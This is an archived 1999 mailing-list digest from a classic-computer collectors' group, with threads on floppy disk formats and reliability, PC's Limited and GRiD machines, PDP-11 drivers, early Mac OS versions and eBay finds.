Jan 21 20:02:19 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:40:24 2005 Subject: Zorba the Geek In-Reply-To: <3.0.16.19990121171117.3de79bee@ricochet.net> from "Uncle Roger" at Jan 21, 99 05:40:06 pm Message-ID: <199901220202.SAA09884@saul6.u.washington.edu> > >From "The Personal Computer Book" ("Complete with up-to-date Brand Name > Buying Guide") by Peter A McWilliams. Third edition, June 1983: Doesn't the book also mention the Victor 9000? That subject came up recently and I'd be curious to hear how the book rates it. Were the sound and graphics systems very powerful, or just wierd? (Someone said the graphics system was Apricot-like, but I don't know what that is equivalent to.) And IIRC the book also says: "If you can operate a mechanical swan, you can learn to use a computer." :) -- Derek From ard at p850ug1.demon.co.uk Thu Jan 21 19:17:07 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:24 2005 Subject: [OT] Re: IE 4/Office 97 Security Hole In-Reply-To: from "Max Eskin" at Jan 20, 99 07:20:51 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1363 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990122/70ba8171/attachment.ksh From ard at p850ug1.demon.co.uk Thu Jan 21 19:27:51 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:24 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: <9901220027.ZM3508@indy.dunnington.u-net.com> from "Pete Turnbull" at Jan 22, 99 00:27:04 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2513 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990122/2f0fcffd/attachment.ksh From rigdonj at intellistar.net Thu Jan 21 22:23:54 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:24 2005 Subject: Ebay Posts was Re: Ebay: Very Old IBM Model 705 Tube-type Logic Module In-Reply-To: <36A76B87.F56FFC4F@rain.org> References: <01be455d$874d0780$f9c962cf@devlaptop> Message-ID: <3.0.1.16.19990121222354.30777a5a@intellistar.net> At 10:01 AM 1/21/99 -0800, Marvin wrote: > >At any rate, I choose not to participate further in these discussions about >the "morality" of posting to this list items for sale on ebay as they are >pointless and do nothing to *promote* this hobby. I will continue to post >items that *I* think might be interesting to members of this list. > Yes, please do! I like to look at a lot of the E-bay items even if I don't care to bid on them or spent time searching E-bay for them. Joe From ard at p850ug1.demon.co.uk Thu Jan 21 19:30:31 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:24 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: from "Sam Ismail" at Jan 21, 99 04:58:32 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 818 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990122/6250ba75/attachment.ksh From rigdonj at intellistar.net Thu Jan 21 20:41:46 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:24 2005 Subject: Ink stamp on 1970s IC's. In-Reply-To: References: <3.0.6.16.19990121095536.2387163a@earthlink.net> Message-ID: <3.0.1.16.19990121204146.45379afa@intellistar.net> At 01:20 PM 1/21/99 -0500, Allison wrote: > >ETC was an outside test house in the 70s when customers didn't trust >vendors or needed outside help to support their internal QC.. It's more than that. A lot of customers required matched parts or parts with a selected value. Joe From dastar at ncal.verio.com Thu Jan 21 20:37:24 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:24 2005 Subject: GRID LAPTOP In-Reply-To: Message-ID: On Thu, 21 Jan 1999, Doug wrote: > Here's an image every GRiD collector should copy. A GRiD Compass used on > STS 51-G with a picture of Spock on the screen: > http://images.jsc.nasa.gov/images/pao/STS51G/10062178.jpg > > Put this picture in your ebay ad, and watch the price skyrocket! (BTW, > I've never seen an original Compass offered on ebay, but one sold for $700 > in a "normal" auction a couple of years ago.) Are you sure that's Spock on the screen? It looks like a rendering of the dude in the picture to me. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From doug at blinkenlights.com Thu Jan 21 20:47:14 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:24 2005 Subject: GRID LAPTOP In-Reply-To: Message-ID: On Thu, 21 Jan 1999, Sam Ismail wrote: > > Here's an image every GRiD collector should copy. A GRiD Compass used on > > STS 51-G with a picture of Spock on the screen: > > http://images.jsc.nasa.gov/images/pao/STS51G/10062178.jpg > > Are you sure that's Spock on the screen? It looks like a rendering of the > dude in the picture to me. I could tell you about my XRAY vision, or my extra bitchen image analysis tools, but instead I'll just give you the HTML description of the pic: http://www.ksc.nasa.gov/mirrors/images/images/pao/STS51G/10062178.htm -- Doug From ard at p850ug1.demon.co.uk Thu Jan 21 20:30:45 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:24 2005 Subject: Zorba the Geek In-Reply-To: <199901220202.SAA09884@saul6.u.washington.edu> from "D. Peschel" at Jan 21, 99 06:02:19 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1832 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990122/f8fbb016/attachment.ksh From ard at p850ug1.demon.co.uk Thu Jan 21 20:40:46 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:24 2005 Subject: Altair FP Schematic? In-Reply-To: <00a501be45aa$2f3c7240$e0e5fea9@mainoffice> from "Richard A. Cini, Jr." at Jan 21, 99 08:02:18 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1604 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990122/ccb0bdbf/attachment.ksh From dastar at ncal.verio.com Thu Jan 21 21:01:34 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:24 2005 Subject: GRID LAPTOP In-Reply-To: Message-ID: On Thu, 21 Jan 1999, Doug wrote: > > Are you sure that's Spock on the screen? It looks like a rendering of the > > dude in the picture to me. > > I could tell you about my XRAY vision, or my extra bitchen image analysis > tools, but instead I'll just give you the HTML description of the pic: > > http://www.ksc.nasa.gov/mirrors/images/images/pao/STS51G/10062178.htm From djenner at halcyon.com Thu Jan 21 21:11:34 1999 From: djenner at halcyon.com (David C. Jenner) Date: Sun Feb 27 18:40:24 2005 Subject: Hard Sector Disks References: <4.1.19990121140246.00b23370@206.231.8.2> Message-ID: <36A7EC66.46471B3B@halcyon.com> I have an H47 and it was reliable (I haven't used it for a few years) except for one problem: about every three months the drive belt would slip off and I would have to pull the drive from the case and put it back on. I got to point where it didn't take long, and it sure was handy having 2MB of disk space rather than the ~coupleK of two hard sectored disks. I have the hard-sectored disks in the H89 cabinet in the form of a dual-drive "DAM" floppy, for which DEC later bought the design and turned into the RX50. Dave Christian Fandt wrote: > > At 01:28 PM 1/21/99 -0500, you wrote: > >> > >>I have the H-17. What is the H-37 as I don't recognize it by that number? > >>I have other two cases, one with dual full height 5 1/4" drives and the > >>other with dual 8" drives, but I don't know the model number at the moment. > > > > > >The one with the 8" are the H27, I think... > > Yes, for the H-11 computer. The 8" drive for the H-8 was the H47. The H47 > was costly and unreliable. As a result, not too many sold. > > -- Chris > -- -- > > Christian Fandt, Electronic/Electrical Historian > Jamestown, NY USA cfandt@netsync.net > Member of Antique Wireless Association > URL: http://www.ggw.org/freenet/a/awa/ From pete at dunnington.u-net.com Thu Jan 21 21:30:17 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:40:24 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: ard@p850ug1.demon.co.uk (Tony Duell) "Re: Reiability of wrong media (was: is out of 5-1/4" diskettes" (Jan 22, 1:30) References: Message-ID: <9901220330.ZM3786@indy.dunnington.u-net.com> On Jan 22, 1:30, Tony Duell wrote: > > This can't be possible! Otherwise, why didn't someone exploit this to > > make 4-sided diskettes?? > > Because you don't gain any extra storage. Pete formated every other track > on the disk using an 80-track drive (narrow heads). So in the end he had > 80 tracks on each side (40 going in each direction). Since an 80 track > drive can write 80 tracks anyway, there's no advantage in flipping the > disk over. Almost exactly. Actually, it was an accident. It was obviously a 40-track flippy to start with, and at some time in the dim and distant past I must have decided to use it "properly", two-sided. But only the second side had been formatted in the flipped orientation, so although it was 40+40=80 tracks on one side it was only 40 on the other. -- Pete Peter Turnbull Dept. of Computer Science University of York From gram at cnct.com Thu Jan 21 21:41:57 1999 From: gram at cnct.com (Ward D. Griffiths III) Date: Sun Feb 27 18:40:24 2005 Subject: [OT] Re: IE 4/Office 97 Security Hole In-Reply-To: <3.0.16.19990121172417.3de79fb0@ricochet.net> Message-ID: Ah, yes, a "proto-Dell". From before they got that IBM guy who'd screwed up Tandy's computer line by getting damned near everybody competent to quit or be fired in '86. (My manager at the Tandy Area Training and Support Office in Glendale CA was fired because he kept the mustache he'd had since years before he'd joined Radio Shack almost twelve years before that guy showed up -- I'd quit a month before after 5.4 years just from the rumor -- I was _not_ going to shave and switch to white shirts). The dickhead killed every non-PCompatible product then he moved on to spread his joy elsewhere -- I think he was with Tandy at most eight months. Ward Griffiths "the timid die just like the daring; and if you don't take the plunge then you'll just take the fall" Michael Longcor On Thu, 21 Jan 1999, Uncle Roger wrote: > I will break with my above comments long enough to say that if I had lots > of storage space, it would be really cool to get a PC's Limited pc... From healyzh at aracnet.com Thu Jan 21 20:21:26 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:24 2005 Subject: IE 4/Office 97 Security Hole In-Reply-To: References: Message-ID: >Well, I would've wanted to make the same claim and sound all lofty but I'm >still a slave to Win95 right now. Hopefully once that Free Time I've been >yammering about comes around I'll finally get my Linux server up and >running and be cleansed of many of my daily toils. It takes as little as 15 minutes to wipe the Windows virus from your system with a nice Red Hat Linux CD-ROM :^) This of course assumes you've got well supported Hardware (usually this in turn means very popular or older hardware). Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From bill at chipware.com Thu Jan 21 22:00:48 1999 From: bill at chipware.com (Bill Sudbrink) Date: Sun Feb 27 18:40:24 2005 Subject: PC's Limited Message-ID: <199901220400.UAA19662@mxu1.u.washington.edu> On Thu, 21 Jan 1999, Uncle Roger wrote: > I will break with my above comments long enough to say that if I had lots > of storage space, it would be really cool to get a PC's Limited pc... My roommate in college had their 12MHz 286 with 640K of *STATIC* RAM. Oh man... I would have given my right arm for that machine. The front panel was really useful, not just that clone fake display set with jumpers. It showed POST codes, disk access info CPU speed... That was a cool machine. Bill Sudbrink From gram at cnct.com Thu Jan 21 22:09:14 1999 From: gram at cnct.com (Ward D. Griffiths III) Date: Sun Feb 27 18:40:24 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: Message-ID: I can guarantee that no 80-track drive was ever officially supported in a Model 4 or any other Tandy Z-80 platform, no matter what the documentation might have implied once TRSDOS-6 (and LDOS) became official products. That's like letting on that OS-9 Level One could be used by more than one person on the same 64k TRS-80 Color Computer the way I demonstrated in my classroom in the Radio Shack Computer in downtown Los Angeles back in 1984. (Or was that late '83? Damn, this senility is a bitch to deal with -- the AT was still vapourware). Ward Griffiths "the timid die just like the daring; and if you don't take the plunge then you'll just take the fall" Michael Longcor On Fri, 22 Jan 1999, Tony Duell wrote: > [80 track 5.25" disks] > drives around here, but also looking about I see a lot of 80 track drives > - TRS-80 model 4, Sirius, Gemini, BBC micros, Torch XXX, etc, etc. The From mbg at world.std.com Thu Jan 21 22:32:11 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:40:24 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes Message-ID: <199901220432.AA17098@world.std.com> > There ain't no sech thing as a 1.44M disk. The IBM style of HD >3.5has 2 sides, 80 tracks per side, 18 sectors per track, and 512 bytes >per sector. If you multiply that out, you get 1.406 HONEST Megabytes >(1048576). The only way to get 1.44 out of that is to creatively >redefine a Megabyte to be 1024000 bytes. That leaves IBM in the position >of claiming that a megabyte of memory is 1048576 bytes, but that a >megabyte of disk space is 1024000 bytes! If IBM ran a donut shop, how >many donuts would there be in a dozen??? Hmm... then why does a chkdsk a: on a '1.44' drive and disk return the following: - - - - - 1,457,664 bytes total disk space 512 bytes in 1 directories 1,185,792 bytes in 20 user files 271,360 bytes available on disk 512 bytes in each allocation unit 2,847 total allocation units on disk 530 available allocation units on disk - - - - - You had better check *your* math! 2 * 80 * 18 * 512 = 1474560 Sure looks like at least 1.44 Mb to me! Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From gram at cnct.com Thu Jan 21 22:41:10 1999 From: gram at cnct.com (Ward D. Griffiths III) Date: Sun Feb 27 18:40:24 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: Message-ID: Depends on what "advantage" you're looking for. Once upon a weird history, there were some vinyl LPs made where you got two different music sets depending on which groove the needle dropped into -- and it was hard to pick either in advance as the record was turning. I admit that this is hard to arrange with floppies, since you need to count on _something_ being half a track off, and digital doesn't compromise the way analog does. Although with Flippies -- I tried them a few times when 5.25" SSSD were the standard at $30+ per ten-pack -- my failure rates were too high, much higher than when several years later I experimented with 35-track SSSD (rated) diskettes in 80-track DSQD drives -- I formatted over 50 diskettes rated for 86k in 720k drives and all were still readable more than five years later. Flippies had the problem that when you were reading the data from one side, the head-load pad or whatever was scraping off the data from the other side -- single-sided drives have little or no reason to be careful of the (supposedly unused) coating on the wrong side of the disc. Ward Griffiths "the timid die just like the daring; and if you don't take the plunge then you'll just take the fall" Michael Longcor On Fri, 22 Jan 1999, Tony Duell wrote: > > On Fri, 22 Jan 1999, Pete Turnbull wrote: > > > "OK, so that's a flippy", I said to myself. A little later, I re-read the > > > catalogue -- and got a different listing! I had inadvertantly catalogued > > > side two, with the disk right-side-up -- and realised that the tracks must > > > not line up, so side two had two sets of data, going in opposite rotations, > > > with the tracks interleaved! > > This can't be possible! Otherwise, why didn't someone exploit this to > > make 4-sided diskettes?? > Because you don't gain any extra storage. Pete formated every other track > on the disk using an 80-track drive (narrow heads). So in the end he had > 80 tracks on each side (40 going in each direction). Since an 80 track > drive can write 80 tracks anyway, there's no advantage in flipping the > disk over. > > -tony From jruschme at exit109.com Thu Jan 21 22:33:06 1999 From: jruschme at exit109.com (John Ruschmeyer) Date: Sun Feb 27 18:40:24 2005 Subject: PC's Limited In-Reply-To: <199901220400.UAA19662@mxu1.u.washington.edu> from Bill Sudbrink at "Jan 21, 99 11:00:48 pm" Message-ID: <199901220433.XAA05564@crobin.home.org> > On Thu, 21 Jan 1999, Uncle Roger wrote: > > > I will break with my above comments long enough to say that if I had lots > > of storage space, it would be really cool to get a PC's Limited pc... > > My roommate in college had their 12MHz 286 with 640K of *STATIC* RAM. > Oh man... I would have given my right arm for that machine. The front > panel > was really useful, not just that clone fake display set with jumpers. It > showed > POST codes, disk access info CPU speed... That was a cool machine. I don't know about the static RAM part, but the front panel sounds like the Dell (PC's Limited) System 210. Definately cool panel... too bad they never used in on any other box. <<>> From nerdware at laidbak.com Thu Jan 21 22:39:55 1999 From: nerdware at laidbak.com (Paul Braun) Date: Sun Feb 27 18:40:24 2005 Subject: MacOS (was: mac tool) In-Reply-To: <199901211321.NAA04946@nixpbe.pdb.sni.de> References: <199901210445.WAA23931@garcon.laidbak.com> Message-ID: <199901220437.WAA02474@garcon.laidbak.com> Date sent: Thu, 21 Jan 1999 14:21:28 +1 Send reply to: classiccmp@u.washington.edu From: "Hans Franke" To: "Discussion re-collecting of classic computers" Subject: MacOS (was: mac tool) > > > The SE will, at least up to 7.5, I believe (maybe 7.3). I have an SE/30 running > > 7.1. Apple's website has tech specs on the old Macs (takes a little digging to > > find it.....) and they list the systems supported for each model. I doubt 7 will run > > on a Plus, though. > > 7.1 runs fine on a MacPLUS - at least thats what a friend of mine > is still using as desktop system. > > Gruss > H. > > -- > Ich denke, also bin ich, also gut > HRK Thanks for the info. I still have to boot my Plus from floppy, so I never went past the original system that came with it. Some day, when I actually have free time, I'll have to try 7 on my Plus. BTW-- does anyone have the original Mac OS disks? I have a 128k and I would like to boot up to the original OS when I demo the machine for school kids. I think I have a MacPaint disk and a MacWrite disk somewhere, but no system disk. Thanks. Paul Braun NerdWare -- The History of the PC and the Nerds who brought it to you. nerdware@laidbak.com www.laidbak.com/nerdware From mbg at world.std.com Thu Jan 21 22:42:38 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:40:24 2005 Subject: LSI-11 Processor Status Word Message-ID: <199901220442.AA24974@world.std.com> "Zane H. Healy" wrote: >Stupid question: I'm trying to install TCP/IP on my PDP-11/73 running >RT-11 V5.4 and am trying to choose the proper driver. Does the PDP-11/73 >CPU have a Processor Status Word? The 11/73 is the KDJ11-A, based on the DCJ11 chip, which has a processor status word at 17777776. It also just so happens that (at least for all the DEC pdp-11s) a machine with memory management also has a processor status word. >Also, if you've got a driver for TSX-11 do you have to have corresponding >driver for RT-11 installed? Not that I know of. The TSX versions of the drivers are the RT-11 versions rebuilt to use PAR6 instead of PAR1 for access to user buffers, et al. Same documented restrictions of PAR1 use in the RT-11 doc set would then apply to PAR6 when using the drivers under TSX... Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From mbg at world.std.com Thu Jan 21 22:48:26 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:40:24 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes Message-ID: <199901220448.AA28810@world.std.com> Following up to my own post... I think the problem with '1.44 Mb' is that IBM chose to refer to the exact number of bytes without using the power-of-two term properly. For example... on pdp-11s, the virtual address space is always referred to as 64 Kb... but the actual max (byte) address is 65535. If we were to follow what it appears IBM did, we would have been referring to 65.5 Kb. I agree that it is annoying that it isn't consistent. Heck - my home PC has 128 Mb... which shows up through the POST as 130nnn (I forget the last three digits). Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From hansp at digiweb.com Thu Jan 21 22:44:03 1999 From: hansp at digiweb.com (Hans B Pufal) Date: Sun Feb 27 18:40:25 2005 Subject: eBay Finds (was: Ebay Posts was...) References: Message-ID: <36A80213.E4F3067B@digiweb.com> Sam Ismail wrote: > > On Thu, 21 Jan 1999, Uncle Roger wrote: > > > For $5 and shipping, I got (on eBay!) a Sharp PC-5000 laptop. No biggie > > you think? Well, for starters, from what I can tell, it beats the Gavilan > > out for second place in the Clamshell laptop race (GRiD Compass was first). > > > > On top of that, it beats the Gavilan for: removeable program/data > > cartridges (uses Bubble Memory carts) clamshell with a built-in portable > > printer, and something else I forget at the moment. > > Are you sure this isn't just a re-branded Gavilan? Sounds an awful lot > alike. No way, Gavilan machines were never sold under any other name (or under the Gavilan name for that matter ;-) I know, I was there! Regards, _---_--__-_-_----__-_----_-__-__-_-___--_-__--___-__----__--_--__-___- Hans B Pufal Comprehensive Computer Catalogue From dastar at ncal.verio.com Thu Jan 21 23:07:10 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:25 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: <199901220448.AA28810@world.std.com> Message-ID: On Thu, 21 Jan 1999, Megan wrote: > I think the problem with '1.44 Mb' is that IBM chose to refer to > the exact number of bytes without using the power-of-two term > properly. > > For example... on pdp-11s, the virtual address space is always > referred to as 64 Kb... but the actual max (byte) address is > 65535. If we were to follow what it appears IBM did, we would > have been referring to 65.5 Kb. No, a megabyte is not a power of two number. A megabyte = 1,000,000 bytes. So 1.44 megabytes = 1.44 million bytes = roughly 1,440,000 bytes. So 1.44MB disk drive is not a misnomer. I've forgotten what the original rant was about but I can't see the problem. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From marvin at rain.org Thu Jan 21 23:15:16 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:25 2005 Subject: PC's Limited References: <199901220400.UAA19662@mxu1.u.washington.edu> Message-ID: <36A80964.8E0B2BC5@rain.org> Bill Sudbrink wrote: > > My roommate in college had their 12MHz 286 with 640K of *STATIC* RAM. > Oh man... I would have given my right arm for that machine. The front > panel > was really useful, not just that clone fake display set with jumpers. It > showed > POST codes, disk access info CPU speed... That was a cool machine. IIRC, the Everex had a similar front panel that would display the post codes and the CPU speed, at least for the 286. I have one in the garage that didn't head for the metal scrap because of that. One of these days, I'll have to actually check it out :). From todd.osborne at barnstormer-software.com Thu Jan 21 23:23:57 1999 From: todd.osborne at barnstormer-software.com (Todd Osborne) Date: Sun Feb 27 18:40:25 2005 Subject: MacOS (was: mac tool) In-Reply-To: <199901220437.WAA02474@garcon.laidbak.com> Message-ID: <000101be45c7$6935e220$01646464@codewarrior.fmstrategies.com> I am pretty sure I have a MacOS system disk. If I can remember how to dupe it I can mail you one :) Todd > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of Paul Braun > Sent: Thursday, January 21, 1999 11:40 PM > To: Discussion re-collecting of classic computers > Subject: Re: MacOS (was: mac tool) > > > Date sent: Thu, 21 Jan 1999 14:21:28 +1 > Send reply to: classiccmp@u.washington.edu > From: "Hans Franke" > To: "Discussion re-collecting of classic > computers" > Subject: MacOS (was: mac tool) > > > > > > The SE will, at least up to 7.5, I believe (maybe 7.3). I > have an SE/30 running > > > 7.1. Apple's website has tech specs on the old Macs (takes a > little digging to > > > find it.....) and they list the systems supported for each > model. I doubt 7 will run > > > on a Plus, though. > > > > 7.1 runs fine on a MacPLUS - at least thats what a friend of mine > > is still using as desktop system. > > > > Gruss > > H. > > > > -- > > Ich denke, also bin ich, also gut > > HRK > > Thanks for the info. I still have to boot my Plus from floppy, so > I never went past > the original system that came with it. Some day, when I actually > have free > time, I'll have to try 7 on my Plus. > > BTW-- does anyone have the original Mac OS disks? I have a 128k > and I would > like to boot up to the original OS when I demo the machine for > school kids. I > think I have a MacPaint disk and a MacWrite disk somewhere, but no system > disk. > > Thanks. > > > > > > Paul Braun > NerdWare -- The History of the PC and the Nerds who brought it to you. > nerdware@laidbak.com > www.laidbak.com/nerdware > From adavie at mad.scientist.com Thu Jan 21 23:24:56 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:40:25 2005 Subject: eBay Finds (was: Ebay Posts was...) In-Reply-To: <19990122002630.27001.qmail@brouhaha.com> Message-ID: <000101be45c7$8c18da40$6bf438cb@a.davie> The two near to hand just say SHARP CE-100B Magnetic Bubble Memory. The rest are in the garage - probably the same, though I could check more closely should there be any real need. Cheers A -- adavie@mad.scientist.com visit the Museum of Soviet Calculators at http://www.comcen.com.au/~adavie/slide/calculator/soviet.html ? ? > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of Eric Smith > Sent: Friday, January 22, 1999 11:27 AM > To: Discussion re-collecting of classic computers > Subject: Re: eBay Finds (was: Ebay Posts was...) > > > "Andrew Davie" wrote: > > I also have a Sharp PC-5000 with manuals, portable printer for same, and > > HEAPS of magnetic bubble memory cartridges. > > So which manufacturer and size of bubble memory do these use? > From donm at cts.com Fri Jan 22 00:13:50 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:25 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: <36A7D21A.40FAC6DD@rain.org> Message-ID: On Thu, 21 Jan 1999, Marvin wrote: > Don Maslin wrote: > > > > On Thu, 21 Jan 1999, Tony Duell wrote: > > > > > I have had very little success in formatting 48tpi disks in 96tpi drives. > > > As I mentioned earlier, this includes name-brands like 3M.. > > > > Interesting! I have never had a problem using even generic 48tpi disks > > at 96tpi. > > I have been able to format 360K disks at 1.2 MB, but there starts to be a > fair number of bad sectors as the formating progresses towards the center of > the disk. I have also found that 360K disks formatted at 1.2 MB tend to > have a shorter data life span. Formatting 720K as 1.44 MB also seems to > result in a shorter data life span but not as bad as the 360Ks formatted at > 1.2 MB, probably because the oerstadt rating is closer. Perhaps, I should have been more specific that I was referring to formatting 360k disks to the 96tpi 720k disk format. Not 1.2mb! I have never had any luck with that, nor have I really tried except as an experiment to see how bad it went. Pretty bad!!! - don From donm at cts.com Fri Jan 22 00:01:46 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:25 2005 Subject: [OT] Re: IE 4/Office 97 Security Hole In-Reply-To: <199901220030.TAA05355@crobin.home.org> Message-ID: On Thu, 21 Jan 1999, John Ruschmeyer wrote: > > > Actually, that's not true. If that's what we are discussing here in 2007, > > > I'll be looking for a list with a charter to discuss computers at least > > > 20 years old. As it is, I already would like to see the charter amended to > > > exclude all IBM-compatible x86 systems, but there are some people that > > > > Personally, I'd include the IBM PC (5150) and maybe the XT (5160), > > portable (5155) and AT (5170). Like it or not, they had a significant > > impact on computing. But I don't think I'll ever think of a generic > > PC-clone, no matter how old, as a 'classic'. > > > > > actually LIKE the damned things, so it's apparently not going to happen. > > But then I'd want to add the Compaq portable and the Kaypro 2000 and soon > we'd be right back to where we are. ^^^^^^^^^^^ /\ Speaking of which, who can give me the pinout and voltages for the external power supply for the 2000? - don > > > > > > > Eric > > > > > > > -tony > > > > > > donm@cts.com *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* Don Maslin - Keeper of the Dina-SIG CP/M System Disk Archives Chairman, Dina-SIG of the San Diego Computer Society Clinging tenaciously to the trailing edge of technology. Sysop - Elephant's Graveyard (CP/M) Z-Node 9 - 619-454-8412 *--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--* see old system support at http://www.psyber.com/~tcj visit the "Unofficial" CP/M Web site at http://devili.iki.fi/cpm with Mirror at http://www.mathcs.emory.edu/~cfs/cpm From donm at cts.com Thu Jan 21 23:58:57 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:25 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: <9901220027.ZM3508@indy.dunnington.u-net.com> Message-ID: On Fri, 22 Jan 1999, Pete Turnbull wrote: > On Jan 21, 15:15, Don Maslin wrote: > > Subject: Re: Reiability of wrong media (was: is out of 5-1/4" diskettes > > On Thu, 21 Jan 1999, Tony Duell wrote: > > > > Don't forget that '720K' 5.25" disks also exist, although they're not > > > common on IBM PCs. By that I mean 80 track, double density, double > sided, > > > 300 oersted coercivity. Most of those do not have the reinforcing ring > IIRC. > > And they're pretty common on non-MSDOS systems. I far more 80-track DS > drives than 40-track of any flavour. > > > > > 720K 5.25" v 360K 5.25": again, an issue of testing/certification, > > > > similar to SS v DS. At least for a while, they were manufactured the > same, > > > > but were tested/certified for 48tpi or 96 tpi. > > > > > > I have had very little success in formatting 48tpi disks in 96tpi > drives. > > > As I mentioned earlier, this includes name-brands like 3M.. > > > > Interesting! I have never had a problem using even generic 48tpi disks > > at 96tpi. > > - don > > Nor have I, usually. I tend to treat all double-density 5.25" disks the > same. Some of the old ones I have were converted to be "flippy" 40-track, > and some time ago I found one such without a label. Not knowing whether it > really had been formatted flipped, I tried it out, using the > by-now-standard 80-track DS drive and a two-step circuit, and found it had. > "OK, so that's a flippy", I said to myself. A little later, I re-read the > catalogue -- and got a different listing! I had inadvertantly catalogued > side two, with the disk right-side-up -- and realised that the tracks must > not line up, so side two had two sets of data, going in opposite rotations, > with the tracks interleaved! If you wanted to press your luck, you should be able to expand it to four! - don > So I have a three-sided 40 track disk :-) > > > > > 3", 3.25": Many newbies will get sloppy in reference to 3.5" > diskettes, > > > > without realizing that there actually were 3" and 3.25" diskettes. > 3" > > > > were used by Amstradt, some non-US Canon?, and Amdek add-on drives > for Coco > > There are also 2.5" disks, though the only ones I've seen were made by TDK > for an early digital camera. Anyone remember the make? Canon? > > -- > > Pete Peter Turnbull > Dept. of Computer Science > University of York > donm@cts.com 